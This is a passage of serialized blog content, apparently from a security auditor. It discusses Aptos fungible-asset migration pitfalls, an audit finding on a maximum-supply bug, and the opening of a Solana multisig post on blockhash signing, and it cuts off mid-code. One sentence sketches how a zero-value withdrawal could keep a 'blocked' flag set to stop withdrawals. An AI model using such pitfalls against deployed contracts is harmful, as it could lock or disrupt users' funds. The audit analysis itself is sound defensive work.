",{"type":23,"tag":92,"props":66230,"children":66232},{"className":66231},[],[66233],{"type":28,"value":61019},{"type":28,"value":66235}," (since withdraw doesn’t verify if the value is greater than 0) and then burning it using ",{"type":23,"tag":92,"props":66237,"children":66239},{"className":66238},[],[66240],{"type":28,"value":66241},"fungible_asset::destroy_zero",{"type":28,"value":66243},". This would complete the transaction while keeping the \"blocked\" flag set, effectively preventing further withdrawals.",{"type":23,"tag":24,"props":66245,"children":66246},{},[66247],{"type":28,"value":66248},"It's important to understand all the features in the standard.",{"type":23,"tag":61,"props":66250,"children":66252},{"id":66251},"migrating-from-coins-to-fungible-assets",[66253],{"type":28,"value":66254},"Migrating from coins to fungible assets",{"type":23,"tag":24,"props":66256,"children":66257},{},[66258,66260,66265],{"type":28,"value":66259},"If a fungible asset is considered an upgrade to ",{"type":23,"tag":92,"props":66261,"children":66263},{"className":66262},[],[66264],{"type":28,"value":60474},{"type":28,"value":66266},", a transition mechanism becomes necessary. This is addressed through a conversion map, establishing a relationship between specific coin and fungible asset. This duality is not without its challenges.",{"type":23,"tag":66268,"props":66269,"children":66270},"note",{},[66271],{"type":23,"tag":24,"props":66272,"children":66273},{},[66274,66276,66281,66283,66288],{"type":28,"value":66275},"While the ",{"type":23,"tag":92,"props":66277,"children":66279},{"className":66278},[],[66280],{"type":28,"value":60474},{"type":28,"value":66282}," API recognizes and integrates with fungible assets, the fungible asset APIs do not have awareness of the linked ",{"type":23,"tag":92,"props":66284,"children":66286},{"className":66285},[],[66287],{"type":28,"value":60474},{"type":28,"value":720},{"type":23,"tag":24,"props":66290,"children":66291},{},[66292,66293,66299,66301,66306,66308,66313],{"type":28,"value":16084},{"type":23,"tag":92,"props":66294,"children":66296},{"className":66295},[],[66297],{"type":28,"value":66298},"coin_to_fungible_asset",{"type":28,"value":66300}," converting function automatically generates a corresponding fungible asset for a ",{"type":23,"tag":92,"props":66302,"children":66304},{"className":66303},[],[66305],{"type":28,"value":60474},{"type":28,"value":66307}," if one does not already exist. Manual creation of a fungible asset and its linkage to a ",{"type":23,"tag":92,"props":66309,"children":66311},{"className":66310},[],[66312],{"type":28,"value":60474},{"type":28,"value":66314}," is not allowed.",{"type":23,"tag":87,"props":66316,"children":66318},{"className":128,"code":66317,"language":127,"meta":7,"style":7},"public fun coin_to_fungible_asset\u003CCoinType>(\n    coin: Coin\u003CCoinType>\n): FungibleAsset acquires CoinConversionMap, CoinInfo {\n    let metadata = ensure_paired_metadata\u003CCoinType>();\n    let amount = burn_internal(coin);\n    fungible_asset::mint_internal(metadata, amount)\n}\n",[66319],{"type":23,"tag":92,"props":66320,"children":66321},{"__ignoreMap":7},[66322,66350,66377,66413,66446,66479,66515],{"type":23,"tag":134,"props":66323,"children":66324},{"class":136,"line":137},[66325,66329,66333,66338,66342,66346],{"type":23,"tag":134,"props":66326,"children":66327},{"style":162},[66328],{"type":28,"value":61183},{"type":23,"tag":134,"props":66330,"children":66331},{"style":162},[66332],{"type":28,"value":5664},{"type":23,"tag":134,"props":66334,"children":66335},{"style":162},[66336],{"type":28,"value":66337}," coin_to_fungible_asset",{"type":23,"tag":134,"props":66339,"children":66340},{"style":179},[66341],{"type":28,"value":5262},{"type":23,"tag":134,"props":66343,"children":66344},{"style":597},[66345],{"type":28,"value":6041},{"type":23,"tag":134,"props":66347,"children":66348},{"style":179},[66349],{"type":28,"value":6046},{"type":23,"tag":134,"props":66351,"children":66352},{"class":136,"line":147},[66353,66357,66361,66365,66369,66373],{"type":23,"tag":134,"props":66354,"children":66355},{"style":162},[66356],{"type":28,"value":60693},{"type":23,"tag":134,"props":66358,"children":66359},{"style":168},[66360],{"type":28,"value":1697},{"type":23,"tag":134,"props":66362,"children":66363},{"style":597},[66364],{"type":28,"value":5257},{"type":23,"tag":134,"props":66366,"children":66367},{"style":179},[66368],{"type":28,"value":5262},{"type":23,"tag":134,"props":66370,"children":66371},{"style":597},[66372],{"type":28,"value":6041},{"type":23,"tag":134,"props":66374,"children":66375},{"style":179},[66376],{"type":28,"value":5449},{"type":23,"tag":134,"props":66378,"children":66379},{"class":136,"line":185},[66380,66384,66388,66392,66396,66401,66405,66409],{"type":23,"tag":134,"props":66381,"children":66382},{"style":179},[66383],{"type":28,"value":296},{"type":23,"tag":134,"props":66385,"children":66386},{"style":168},[66387],{"type":28,"value":1697},{"type":23,"tag":134,"props":66389,"children":66390},{"style":597},[66391],{"type":28,"value":61048},{"type":23,"tag":134,"props":66393,"children":66394},{"style":162},[66395],{"type":28,"value":7025},{"type":23,"tag":134,"props":66397,"children":66398},{"style":597},[66399],{"type":28,"value":66400}," CoinConversionMap",{"type":23,"tag":134,"props":66402,"children":66403},{"style":179},[66404],{"type":28,"value":242},{"type":23,"tag":134,"props":66406,"children":66407},{"style":597},[66408],{"type":28,"value":6171},{"type":23,"tag":134,"props":66410,"children":66411},{"style":179},[66412],{"type":28,"value":463},{"type":23,"tag":134,"props":66414,"children":66415},{"class":136,"line":221},[66416,66420,66425,66429,66434,66438,66442],{"type":23,"tag":134,"props":66417,"children":66418},{"style":151},[66419],{"type":28,"value":154},{"type":23,"tag":134,"props":66421,"children":66422},{"style":162},[66423],{"type":28,"value":66424}," metadata",{"type":23,"tag":134,"props":66426,"children":66427},{"style":168},[66428],{"type":28,"value":171},{"type":23,"tag":134,"props":66430,"children":66431},{"style":162},[66432],{"type":28,"value":66433}," ensure_paired_metadata",{"type":23,"tag":134,"props":66435,"children":66436},{"style":179},[66437],{"type":28,"value":5262},{"type":23,"tag":134,"props":66439,"children":66440},{"style":597},[66441],{"type":28,"value":6041},{"type":23,"tag":134,"props":66443,"children":66444},{"style":179},[66445],{"type":28,"value":7911},{"type":23,"tag":134,"props":66447,"children":66448},{"class":136,"line":332},[66449,66453,66458,66462,66467,66471,66475],{"type":23,"tag":134,"props":66450,"children":66451},{"style":151},[66452],{"type":28,"value":154},{"type":23,"tag":134,"props":66454,"children":66455},{"style":162},[66456],{"type":28,"value":66457}," amount",{"type":23,"tag":134,"props":66459,"children":66460},{"style":168},[66461],{"type":28,"value":171},{"type":23,"tag":134,"props":66463,"children":66464},{"style":264},[66465],{"type":28,"value":66466}," burn_internal",{"type":23,"tag":134,"props":66468,"children":66469},{"style":179},[66470],{"type":28,"value":272},{"type":23,"tag":134,"props":66472,"children":66473},{"style":162},[66474],{"type":28,"value":60441},{"type":23,"tag":134,"props":66476,"children":66477},{"style":179},[66478],{"type":28,"value":1021},{"type":23,"tag":134,"props":66480,"children":66481},{"class":136,"line":438},[66482,66486,66490,66495,66499,66503,66507,66511],{"type":23,"tag":134,"props":66483,"children":66484},{"style":179},[66485],{"type":28,"value":65469},{"type":23,"tag":134,"props":66487,"children":66488},{"style":168},[66489],{"type":28,"value":660},{"type":23,"tag":134,"props":66491,"children":66492},{"style":264},[66493],{"type":28,"value":66494},"mint_internal",{"type":23,"tag":134,"props":66496,"children":66497},{"style":179},[66498],{"type":28,"value":272},{"type":23,"tag":134,"props":66500,"children":66501},{"style":162},[66502],{"type":28,"value":61820},{"type":23,"tag":134,"props":66504,"children":66505},{"style":179},[66506],{"type":28,"value":242},{"type":23,"tag":134,"props":66508,"children":66509},{"style":162},[66510],{"type":28,"value":19784},{"type":23,"tag":134,"props":66512,"children":66513},{"style":179},[66514],{"type":28,"value":329},{"type":23,"tag":134,"props":66516,"children":66517},{"class":136,"line":466},[66518],{"type":23,"tag":134,"props":66519,"children":66520},{"style":179},[66521],{"type":28,"value":1098},{"type":23,"tag":24,"props":66523,"children":66524},{},[66525,66527,66534],{"type":28,"value":66526},"When creating a fungible asset, several pieces of information are required, such as the asset’s name, symbol, or maximum supply. During our audit of the fungible asset standard, we ",{"type":23,"tag":31,"props":66528,"children":66531},{"href":66529,"rel":66530},"https://github.com/aptos-labs/aptos-core/commit/e5f4b62b237dad4d15069d3bb0b551b2df04bf08",[35],[66532],{"type":28,"value":66533},"noticed an overlooked detail",{"type":28,"value":66535}," in the linking process.",{"type":23,"tag":87,"props":66537,"children":66539},{"className":128,"code":66538,"language":127,"meta":7,"style":7},"[...]\nprimary_fungible_store::create_primary_store_enabled_fungible_asset(\n    &metadata_object_cref,\n    option::map(coin_supply\u003CCoinType>(), |_| MAX_U128),\n    name\u003CCoinType>(),\n    symbol\u003CCoinType>(),\n    decimals\u003CCoinType>(),\n    string::utf8(b\"\"),\n    string::utf8(b\"\"),\n);\n[...]\n",[66540],{"type":23,"tag":92,"props":66541,"children":66542},{"__ignoreMap":7},[66543,66558,66578,66595,66651,66672,66692,66712,66742,66769,66776],{"type":23,"tag":134,"props":66544,"children":66545},{"class":136,"line":137},[66546,66550,66554],{"type":23,"tag":134,"props":66547,"children":66548},{"style":179},[66549],{"type":28,"value":924},{"type":23,"tag":134,"props":66551,"children":66552},{"style":168},[66553],{"type":28,"value":9054},{"type":23,"tag":134,"props":66555,"children":66556},{"style":179},[66557],{"type":28,"value":11239},{"type":23,"tag":134,"props":66559,"children":66560},{"class":136,"line":147},[66561,66565,66569,66574],{"type":23,"tag":134,"props":66562,"children":66563},{"style":179},[66564],{"type":28,"value":62117},{"type":23,"tag":134,"props":66566,"children":66567},{"style":168},[66568],{"type":28,"value":660},{"type":23,"tag":134,"props":66570,"children":66571},{"style":264},[66572],{"type":28,"value":66573},"create_primary_store_enabled_fungible_asset",{"type":23,"tag":134,"props":66575,"children":66576},{"style":179},[66577],{"type":28,"value":642},{"type":23,"tag":134,"props":66579,"children":66580},{"class":136,"line":185},[66581,66586,66591],{"type":23,"tag":134,"props":66582,"children":66583},{"style":168},[66584],{"type":28,"value":66585},"    &",{"type":23,"tag":134,"props":66587,"children":66588},{"style":162},[66589],{"type":28,"value":66590},"metadata_object_cref",{"type":23,"tag":134,"props":66592,"children":66593},{"style":179},[66594],{"type":28,"value":687},{"type":23,"tag":134,"props":66596,"children":66597},{"class":136,"line":221},[66598,66603,66607,66612,66616,66621,66625,66629,66634,66638,66642,66646],{"type":23,"tag":134,"props":66599,"children":66600},{"style":179},[66601],{"type":28,"value":66602},"    option",{"type":23,"tag":134,"props":66604,"children":66605},{"style":168},[66606],{"type":28,"value":660},{"type":23,"tag":134,"props":66608,"children":66609},{"style":264},[66610],{"type":28,"value":66611},"map",{"type":23,"tag":134,"props":66613,"children":66614},{"style":179},[66615],{"type":28,"value":272},{"type":23,"tag":134,"props":66617,"children":66618},{"style":162},[66619],{"type":28,"value":66620},"coin_supply",{"type":23,"tag":134,"props":66622,"children":66623},{"style":179},[66624],{"type":28,"value":5262},{"type":23,"tag":134,"props":66626,"children":66627},{"style":597},[66628],{"type":28,"value":6041},{"type":23,"tag":134,"props":66630,"children":66631},{"style":179},[66632],{"type":28,"value":66633},">(), ",{"type":23,"tag":134,"props":66635,"children":66636},{"style":168},[66637],{"type":28,"value":9881},{"type":23,"tag":134,"props":66639,"children":66640},{"style":162},[66641],{"type":28,"value":247},{"type":23,"tag":134,"props":66643,"children":66644},{"style":168},[66645],{"type":28,"value":9881},{"type":23,"tag":134,"props":66647,"children":66648},{"style":179},[66649],{"type":28,"value":66650}," MAX_U128),\n",{"type":23,"tag":134,"props":66652,"children":66653},{"class":136,"line":332},[66654,66659,66663,66667],{"type":23,"tag":134,"props":66655,"children":66656},{"style":162},[66657],{"type":28,"value":66658},"    name",{"type":23,"tag":134,"props":66660,"children":66661},{"style":179},[66662],{"type":28,"value":5262},{"type":23,"tag":134,"props":66664,"children":66665},{"style":597},[66666],{"type":28,"value":6041},{"type":23,"tag":134,"props":66668,"children":66669},{"style":179},[66670],{"type":28,"value":66671},">(),\n",{"type":23,"tag":134,"props":66673,"children":66674},{"class":136,"line":438},[66675,66680,66684,66688],{"type":23,"tag":134,"props":66676,"children":66677},{"style":162},[66678],{"type":28,"value":66679},"    symbol",{"type":23,"tag":134,"props":66681,"children":66682},{"style":179},[66683],{"type":28,"value":5262},{"type":23,"tag":134,"props":66685,"children":66686},{"style":597},[66687],{"type":28,"value":6041},{"type":23,"tag":134,"props":66689,"children":66690},{"style":179},[66691],{"type":28,"value":66671},{"type":23,"tag":134,"props":66693,"children":66694},{"class":136,"line":466},[66695,66700,66704,66708],{"type":23,"tag":134,"props":66696,"children":66697},{"style":162},[66698],{"type":28,"value":66699},"    decimals",{"type":23,"tag":134,"props":66701,"children":66702},{"style":179},[66703],{"type":28,"value":5262},{"type":23,"tag":134,"props":66705,"children":66706},{"style":597},[66707],{"type":28,"value":6041},{"type":23,"tag":134,"props":66709,"children":66710},{"style":179},[66711],{"type":28,"value":66671},{"type":23,"tag":134,"props":66713,"children":66714},{"class":136,"line":479},[66715,66720,66724,66729,66733,66738],{"type":23,"tag":134,"props":66716,"children":66717},{"style":179},[66718],{"type":28,"value":66719},"    string",{"type":23,"tag":134,"props":66721,"children":66722},{"style":168},[66723],{"type":28,"value":660},{"type":23,"tag":134,"props":66725,"children":66726},{"style":264},[66727],{"type":28,"value":66728},"utf8",{"type":23,"tag":134,"props":66730,"children":66731},{"style":179},[66732],{"type":28,"value":272},{"type":23,"tag":134,"props":66734,"children":66735},{"style":1461},[66736],{"type":28,"value":66737},"b\"\"",{"type":23,"tag":134,"props":66739,"children":66740},{"style":179},[66741],{"type":28,"value":6194},{"type":23,"tag":134,"props":66743,"children":66744},{"class":136,"line":497},[66745,66749,66753,66757,66761,66765],{"type":23,"tag":134,"props":66746,"children":66747},{"style":179},[66748],{"type":28,"value":66719},{"type":23,"tag":134,"props":66750,"children":66751},{"style":168},[66752],{"type":28,"value":660},{"type":23,"tag":134,"props":66754,"children":66755},{"style":264},[66756],{"type":28,"value":66728},{"type":23,"tag":134,"props":66758,"children":66759},{"style":179},[66760],{"type":28,"value":272},{"type":23,"tag":134,"props":66762,"children":66763},{"style":1461},[66764],{"type":28,"value":66737},{"type":23,"tag":134,"props":66766,"children":66767},{"style":179},[66768],{"type":28,"value":6194},{"type":23,"tag":134,"props":66770,"children":66771},{"class":136,"line":518},[66772],{"type":23,"tag":134,"props":66773,"children":66774},{"style":179},[66775],{"type":28,"value":1021},{"type":23,"tag":134,"props":66777,"children":66778},{"class":136,"line":527},[66779,66783,66787],{"type":23,"tag":134,"props":66780,"children":66781},{"style":179},[66782],{"type":28,"value":924},{"type":23,"tag":134,"props":66784,"children":66785},{"style":168},[66786],{"type":28,"value":9054},{"type":23,"tag":134,"props":66788,"children":66789},{"style":179},[66790],{"type":28,"value":11239},{"type":23,"tag":24,"props":66792,"children":66793},{},[66794,66796,66801],{"type":28,"value":66795},"When the linked fungible asset was created, the current ",{"type":23,"tag":92,"props":66797,"children":66799},{"className":66798},[],[66800],{"type":28,"value":60474},{"type":28,"value":66802}," supply was incorrectly passed as the maximum fungible asset supply, preventing the minting of additional fungible assets beyond the existing coin circulation.",{"type":23,"tag":24,"props":66804,"children":66805},{},[66806,66808,66813,66815,66821,66823,66828],{"type":28,"value":66807},"Users can manually migrate their ",{"type":23,"tag":92,"props":66809,"children":66811},{"className":66810},[],[66812],{"type":28,"value":60636},{"type":28,"value":66814}," to a primary fungible store. This creates a store for the paired fungible asset (if one doesn’t exist) and removes the ",{"type":23,"tag":92,"props":66816,"children":66818},{"className":66817},[],[66819],{"type":28,"value":66820},"\u003CCoinStore\u003CCoinType>>",{"type":28,"value":66822}," from the caller. All coins in the ",{"type":23,"tag":92,"props":66824,"children":66826},{"className":66825},[],[66827],{"type":28,"value":60636},{"type":28,"value":66829}," are exchanged and transferred to the new store during the migration.",{"type":23,"tag":87,"props":66831,"children":66833},{"className":128,"code":66832,"language":127,"meta":7,"style":7},"/// Voluntarily migrate to fungible store for `CoinType` if not yet.\npublic entry fun migrate_to_fungible_store\u003CCoinType>(\n    account: &signer\n) acquires CoinStore, CoinConversionMap, CoinInfo {\n    maybe_convert_to_fungible_store\u003CCoinType>(signer::address_of(account));\n}\n",[66834],{"type":23,"tag":92,"props":66835,"children":66836},{"__ignoreMap":7},[66837,66845,66877,66897,66933,66974],{"type":23,"tag":134,"props":66838,"children":66839},{"class":136,"line":137},[66840],{"type":23,"tag":134,"props":66841,"children":66842},{"style":141},[66843],{"type":28,"value":66844},"/// Voluntarily migrate to fungible store for `CoinType` if not yet.\n",{"type":23,"tag":134,"props":66846,"children":66847},{"class":136,"line":147},[66848,66852,66856,66860,66865,66869,66873],{"type":23,"tag":134,"props":66849,"children":66850},{"style":162},[66851],{"type":28,"value":61183},{"type":23,"tag":134,"props":66853,"children":66854},{"style":162},[66855],{"type":28,"value":62150},{"type":23,"tag":134,"props":66857,"children":66858},{"style":162},[66859],{"type":28,"value":5664},{"type":23,"tag":134,"props":66861,"children":66862},{"style":162},[66863],{"type":28,"value":66864}," migrate_to_fungible_store",{"type":23,"tag":134,"props":66866,"children":66867},{"style":179},[66868],{"type":28,"value":5262},{"type":23,"tag":134,"props":66870,"children":66871},{"style":597},[66872],{"type":28,"value":6041},{"type":23,"tag":134,"props":66874,"children":66875},{"style":179},[66876],{"type":28,"value":6046},{"type":23,"tag":134,"props":66878,"children":66879},{"class":136,"line":185},[66880,66884,66888,66892],{"type":23,"tag":134,"props":66881,"children":66882},{"style":162},[66883],{"type":28,"value":24662},{"type":23,"tag":134,"props":66885,"children":66886},{"style":168},[66887],{"type":28,"value":1697},{"type":23,"tag":134,"props":66889,"children":66890},{"style":168},[66891],{"type":28,"value":6599},{"type":23,"tag":134,"props":66893,"children":66894},{"style":162},[66895],{"type":28,"value":66896},"signer\n",{"type":23,"tag":134,"props":66898,"children":66899},{"class":136,"line":221},[66900,66904,66908,66912,66916,66921,66925,66929],{"type":23,"tag":134,"props":66901,"children":66902},{"style":179},[66903],{"type":28,"value":252},{"type":23,"tag":134,"props":66905,"children":66906},{"style":162},[66907],{"type":28,"value":5801},{"type":23,"tag":134,"props":66909,"children":66910},{"style":597},[66911],{"type":28,"value":60657},{"type":23,"tag":134,"props":66913,"children":66914},{"style":179},[66915],{"type":28,"value":242},{"type":23,"tag":134,"props":66917,"children":66918},{"style":597},[66919],{"type":28,"value":66920},"CoinConversionMap",{"type":23,"tag":134,"props":66922,"children":66923},{"style":179},[66924],{"type":28,"value":242},{"type":23,"tag":134,"props":66926,"children":66927},{"style":597},[66928],{"type":28,"value":6171},{"type":23,"tag":134,"props":66930,"children":66931},{"style":179},[66932],{"type":28,"value":463},{"type":23,"tag":134,"props":66934,"children":66935},{"class":136,"line":332},[66936,66941,66945,66949,66954,66958,66962,66966,66970],{"type":23,"tag":134,"props":66937,"children":66938},{"style":162},[66939],{"type":28,"value":66940},"    maybe_convert_to_fungible_store",{"type":23,"tag":134,"props":66942,"children":66943},{"style":179},[66944],{"type":28,"value":5262},{"type":23,"tag":134,"props":66946,"children":66947},{"style":597},[66948],{"type":28,"value":6041},{"type":23,"tag":134,"props":66950,"children":66951},{"style":179},[66952],{"type":28,"value":66953},">(signer",{"type":23,"tag":134,"props":66955,"children":66956},{"style":168},[66957],{"type":28,"value":660},{"type":23,"tag":134,"props":66959,"children":66960},{"style":264},[66961],{"type":28,"value":6667},{"type":23,"tag":134,"props":66963,"children":66964},{"style":179},[66965],{"type":28,"value":272},{"type":23,"tag":134,"props":66967,"children":66968},{"style":162},[66969],{"type":28,"value":12420},{"type":23,"tag":134,"props":66971,"children":66972},{"style":179},[66973],{"type":28,"value":6681},{"type":23,"tag":134,"props":66975,"children":66976},{"class":136,"line":438},[66977],{"type":23,"tag":134,"props":66978,"children":66979},{"style":179},[66980],{"type":28,"value":1098},{"type":23,"tag":24,"props":66982,"children":66983},{},[66984,66986,66991,66993,66998],{"type":28,"value":66985},"A curious reader might wonder about the fate of the ",{"type":23,"tag":92,"props":66987,"children":66989},{"className":66988},[],[66990],{"type":28,"value":60636},{"type":28,"value":66992}," \"frozen\" status during migration. Unsurprisingly tough, the \"frozen\" status of the primary fungible store is matched to that of the ",{"type":23,"tag":92,"props":66994,"children":66996},{"className":66995},[],[66997],{"type":28,"value":60636},{"type":28,"value":66999}," to ensure consistency.",{"type":23,"tag":65694,"props":67001,"children":67002},{},[67003,67022],{"type":23,"tag":24,"props":67004,"children":67005},{},[67006,67008,67013,67015,67020],{"type":28,"value":67007},"Could an attacker convert their ",{"type":23,"tag":92,"props":67009,"children":67011},{"className":67010},[],[67012],{"type":28,"value":60636},{"type":28,"value":67014}," to a primary fungible store and then register another ",{"type":23,"tag":92,"props":67016,"children":67018},{"className":67017},[],[67019],{"type":28,"value":60636},{"type":28,"value":67021}," only to convert it again to manipulate the \"frozen\" status of the linked primary fungible store?",{"type":23,"tag":65725,"props":67023,"children":67024},{"v-slot:answer-0":7},[67025],{"type":23,"tag":24,"props":67026,"children":67027},{},[67028],{"type":28,"value":67029},"The coin::register function first checks is_account_registered, which exits early if true. is_account_registered determines if the account has a primary fungible store for the linked fungible asset when the CoinStore doesn’t exist. If the fungible store has been converted, a primary fungible store and linked fungible asset will already exist, preventing re-registration.",{"type":23,"tag":61,"props":67031,"children":67032},{"id":28425},[67033],{"type":28,"value":18423},{"type":23,"tag":24,"props":67035,"children":67036},{},[67037,67039,67044],{"type":28,"value":67038},"Aptos's implementation of fungible assets does indeed resolve the original problems with ",{"type":23,"tag":92,"props":67040,"children":67042},{"className":67041},[],[67043],{"type":28,"value":60474},{"type":28,"value":720},{"type":23,"tag":24,"props":67046,"children":67047},{},[67048],{"type":28,"value":67049},"However, this solution comes with its own challenges, in part because of the numerous layers that interact with each other. Before using the fungible asset standard, it's important to understand these different APIs and potential pitfalls.",{"type":23,"tag":24,"props":67051,"children":67052},{},[67053,67055],{"type":28,"value":67054},"As a final exercise to the reader, how many different ways are there to withdraw a fungible asset?",{"type":23,"tag":14943,"props":67056,"children":67057},{},[67058],{"type":23,"tag":31,"props":67059,"children":67061},{"href":29117,"ariaDescribedBy":67060,"dataFootnoteRef":7,"id":29119},[14950],[67062],{"type":28,"value":1214},{"type":23,"tag":17896,"props":67064,"children":67066},{"className":67065,"dataFootnotes":7},[17899],[67067,67072],{"type":23,"tag":61,"props":67068,"children":67070},{"className":67069,"id":14950},[17904],[67071],{"type":28,"value":17907},{"type":23,"tag":4890,"props":67073,"children":67074},{},[67075],{"type":23,"tag":4894,"props":67076,"children":67077},{"id":29860},[67078,67080,67122],{"type":28,"value":67079},"There are at least four functions that can withdraw a fungible asset:",{"type":23,"tag":16158,"props":67081,"children":67082},{},[67083,67093,67102,67112],{"type":23,"tag":4894,"props":67084,"children":67085},{},[67086],{"type":23,"tag":31,"props":67087,"children":67091},{"href":67088,"rel":67089,":style":67090},"https://github.com/aptos-labs/aptos-core/blob/81a2f4268b9e0f25cb6e1ce5c28bba0a34c27604/aptos-move/framework/aptos-framework/sources/fungible_asset.move#L782",[35],"color: #007bff;",[67092],{"type":28,"value":63775},{"type":23,"tag":4894,"props":67094,"children":67095},{},[67096],{"type":23,"tag":31,"props":67097,"children":67100},{"href":67098,"rel":67099,":style":67090},"https://github.com/aptos-labs/aptos-core/blob/main/aptos-move/framework/aptos-framework/sources/dispatchable_fungible_asset.move#L74",[35],[67101],{"type":28,"value":65715},{"type":23,"tag":4894,"props":67103,"children":67104},{},[67105],{"type":23,"tag":31,"props":67106,"children":67109},{"href":67107,"rel":67108,":style":67090},"https://github.com/aptos-labs/aptos-core/blob/81a2f4268b9e0f25cb6e1ce5c28bba0a34c27604/aptos-move/framework/aptos-framework/sources/primary_fungible_store.move#L157",[35],[67110],{"type":28,"value":67111},"primary_fungible_store::withdraw",{"type":23,"tag":4894,"props":67113,"children":67114},{},[67115],{"type":23,"tag":31,"props":67116,"children":67119},{"href":67117,"rel":67118,":style":67090},"https://github.com/aptos-labs/aptos-core/blob/main/aptos-move/framework/aptos-framework/sources/coin.move#L1091-L1098",[35],[67120],{"type":28,"value":67121},"coin::withdraw",{"type":23,"tag":31,"props":67123,"children":67125},{"href":29888,"ariaLabel":18010,"className":67124,"dataFootnoteBackref":7},[18012],[67126],{"type":28,"value":18015},{"type":23,"tag":2575,"props":67128,"children":67129},{},[67130],{"type":28,"value":2579},{"title":7,"searchDepth":147,"depth":147,"links":67132},[67133,67134,67135,67138,67143,67144,67145,67146],{"id":60460,"depth":147,"text":60463},{"id":61005,"depth":147,"text":61008},{"id":61565,"depth":147,"text":61568,"children":67136},[67137],{"id":62076,"depth":185,"text":62079},{"id":62333,"depth":147,"text":62336,"children":67139},[67140,67141,67142],{"id":62376,"depth":185,"text":62379},{"id":63081,"depth":185,"text":63084},{"id":64739,"depth":185,"text":64742},{"id":65270,"depth":147,"text":65273},{"id":66251,"depth":147,"text":66254},{"id":28425,"depth":147,"text":18423},{"id":14950,"depth":147,"text":17907},"content:blog:2025-02-10-hitchhikers-guide-to-aptos-fungible-assets.md","blog/2025-02-10-hitchhikers-guide-to-aptos-fungible-assets.md","blog/2025-02-10-hitchhikers-guide-to-aptos-fungible-assets",{"_path":67151,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":67152,"description":67153,"date":67154,"author":5175,"image":67155,"isFeatured":15,"onBlogPage":15,"tags":67157,"body":67158,"_type":2586,"_id":68986,"_source":2588,"_file":68987,"_stem":68988,"_extension":2591},"/blog/2025-02-22-multisig-security","Solana Multisig Security","What can teams do if their multisig signers are compromised? We explore Solana's transaction signing model and present a procedure for safe signing in the presence of malicious signers on Solana.","2025-02-22",{"src":67156,"width":4838,"height":4839},"/posts/multisig-security/title.png",[17],{"type":20,"children":67159,"toc":68977},[67160,67173,67179,67184,67190,67203,67211,67224,67284,67306,67433,67438,67451,67463,67469,67483,67496,67510,67992,67997,68005,68019,68033,68172,68184,68190,68195,68213,68218,68223,68244,68528,68543,68731,68744,68873,68878,68883,68888,68916,68922,68927,68941,68973],{"type":23,"tag":24,"props":67161,"children":67162},{},[67163,67164,67171],{"type":28,"value":16084},{"type":23,"tag":31,"props":67165,"children":67168},{"href":67166,"rel":67167},"https://www.securityalliance.org/news/2025-02-dprk-advisory",[35],[67169],{"type":28,"value":67170},"Bybit hack",{"type":28,"value":67172}," raises an interesting question: what can teams do if their signers are compromised?",{"type":23,"tag":61,"props":67174,"children":67176},{"id":67175},"solana-signatures",[67177],{"type":28,"value":67178},"Solana Signatures",{"type":23,"tag":24,"props":67180,"children":67181},{},[67182],{"type":28,"value":67183},"We first need to understand how Solana signatures work. There are two ways to sign a Solana transaction.",{"type":23,"tag":9072,"props":67185,"children":67187},{"id":67186},"recent-blockhash",[67188],{"type":28,"value":67189},"Recent Blockhash",{"type":23,"tag":24,"props":67191,"children":67192},{},[67193,67195,67202],{"type":28,"value":67194},"The most straightforward is with a \"recent blockhash\". From ",{"type":23,"tag":31,"props":67196,"children":67199},{"href":67197,"rel":67198},"https://solana.com/developers/guides/advanced/confirmation",[35],[67200],{"type":28,"value":67201},"the docs",{"type":28,"value":1697},{"type":23,"tag":78,"props":67204,"children":67205},{},[67206],{"type":23,"tag":24,"props":67207,"children":67208},{},[67209],{"type":28,"value":67210},"During transaction processing, Solana Validators will check if each transaction's recent blockhash is recorded within the most recent 151 stored hashes (aka \"max processing age\"). If the transaction's recent blockhash is older than this max processing age, the transaction is not processed.",{"type":23,"tag":24,"props":67212,"children":67213},{},[67214,67216,67223],{"type":28,"value":67215},"The actual constant ",{"type":23,"tag":31,"props":67217,"children":67220},{"href":67218,"rel":67219},"https://github.com/anza-xyz/agave/blob/c1080de464cfb578c301e975f498964b5d5313db/sdk/clock/src/lib.rs#L129-L130",[35],[67221],{"type":28,"value":67222},"is defined here",{"type":28,"value":720},{"type":23,"tag":87,"props":67225,"children":67227},{"className":128,"code":67226,"language":127,"meta":7,"style":7},"// The maximum age of a blockhash that will be accepted by the leader\npub const MAX_PROCESSING_AGE: usize = MAX_RECENT_BLOCKHASHES / 2;\n",[67228],{"type":23,"tag":92,"props":67229,"children":67230},{"__ignoreMap":7},[67231,67239],{"type":23,"tag":134,"props":67232,"children":67233},{"class":136,"line":137},[67234],{"type":23,"tag":134,"props":67235,"children":67236},{"style":141},[67237],{"type":28,"value":67238},"// The maximum age of a blockhash that will be accepted by the leader\n",{"type":23,"tag":134,"props":67240,"children":67241},{"class":136,"line":147},[67242,67246,67250,67255,67259,67263,67267,67272,67276,67280],{"type":23,"tag":134,"props":67243,"children":67244},{"style":151},[67245],{"type":28,"value":13158},{"type":23,"tag":134,"props":67247,"children":67248},{"style":151},[67249],{"type":28,"value":38609},{"type":23,"tag":134,"props":67251,"children":67252},{"style":179},[67253],{"type":28,"value":67254}," MAX_PROCESSING_AGE",{"type":23,"tag":134,"props":67256,"children":67257},{"style":168},[67258],{"type":28,"value":1697},{"type":23,"tag":134,"props":67260,"children":67261},{"style":597},[67262],{"type":28,"value":13199},{"type":23,"tag":134,"props":67264,"children":67265},{"style":168},[67266],{"type":28,"value":171},{"type":23,"tag":134,"props":67268,"children":67269},{"style":179},[67270],{"type":28,"value":67271}," MAX_RECENT_BLOCKHASHES ",{"type":23,"tag":134,"props":67273,"children":67274},{"style":168},[67275],{"type":28,"value":1787},{"type":23,"tag":134,"props":67277,"children":67278},{"style":205},[67279],{"type":28,"value":7393},{"type":23,"tag":134,"props":67281,"children":67282},{"style":179},[67283],{"type":28,"value":182},{"type":23,"tag":24,"props":67285,"children":67286},{},[67287,67289,67296,67298,67304],{"type":28,"value":67288},"For those curious, the logic ",{"type":23,"tag":31,"props":67290,"children":67293},{"href":67291,"rel":67292},"https://github.com/anza-xyz/agave/blob/c1080de464cfb578c301e975f498964b5d5313db/runtime/src/bank/check_transactions.rs#L61",[35],[67294],{"type":28,"value":67295},"starts here",{"type":28,"value":67297}," and is quite straightforward to follow, ending in a ",{"type":23,"tag":92,"props":67299,"children":67301},{"className":67300},[],[67302],{"type":28,"value":67303},"is_hash_index_valid",{"type":28,"value":67305}," check.",{"type":23,"tag":87,"props":67307,"children":67309},{"className":128,"code":67308,"language":127,"meta":7,"style":7},"fn 